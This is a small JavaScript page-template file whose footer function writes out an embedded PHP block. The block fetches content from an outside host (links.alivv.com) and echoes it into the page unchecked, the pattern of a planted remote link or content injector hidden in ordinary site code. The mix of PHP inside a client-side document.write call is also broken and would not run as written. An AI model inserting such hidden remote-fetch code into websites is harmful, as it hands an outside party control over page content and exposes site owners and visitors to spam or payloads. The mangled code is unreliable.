﻿function Show_Page_Head() { Base_Page_Head();}
function Show_Foot() {document.write('<?php   function alivv_ad_helper($url)   {    $content = \'\';    $done=false;    if (ini_get(\'allow_url_fopen\') == \'1\') {     if ($fp = @fopen($url, \'r\')) {      while ($line = @fread($fp, 1024)) {       $content .= $line;       $done=true;      }     }    }     if (!$done) {     $parsedUrl = parse_url($url);     $host = $parsedUrl[\'host\'];     if (isset($parsedUrl[\'path\'])) {      $path = $parsedUrl[\'path\'];     }     $timeout = 10;     $fp = @fsockopen($host, \'80\', $errno, $errstr, $timeout );      if( !$fp ) {      } else {      @fputs($fp, \"GET $path HTTP/1.0  \" .\"Host: $host    \");       while ( $line = @fread( $fp, 4096 ) ) {        $content .= $line;       }      @fclose( $fp );       $pos = strpos($content, \"    \");      $content = substr($content, $pos + 4);      }     }     return $content;    }    function alivv_ad($url) {     $content=alivv_ad_helper($url);      $content=str_replace(\"Bad Request (Invalid Hostname)\",\"\",$content);     $content=str_replace(\"Service Unavailable\",\"\",$content);     if (!preg_match(\'/\<Error/\',$content)) {      echo  iconv(\"UTF-8\",\"gbk\",$content);      }     }   echo alivv_ad(\'http://links.alivv.com/getcode.aspx?wid=kdEYDLkmZ3c=&type=3\');  ?>');}

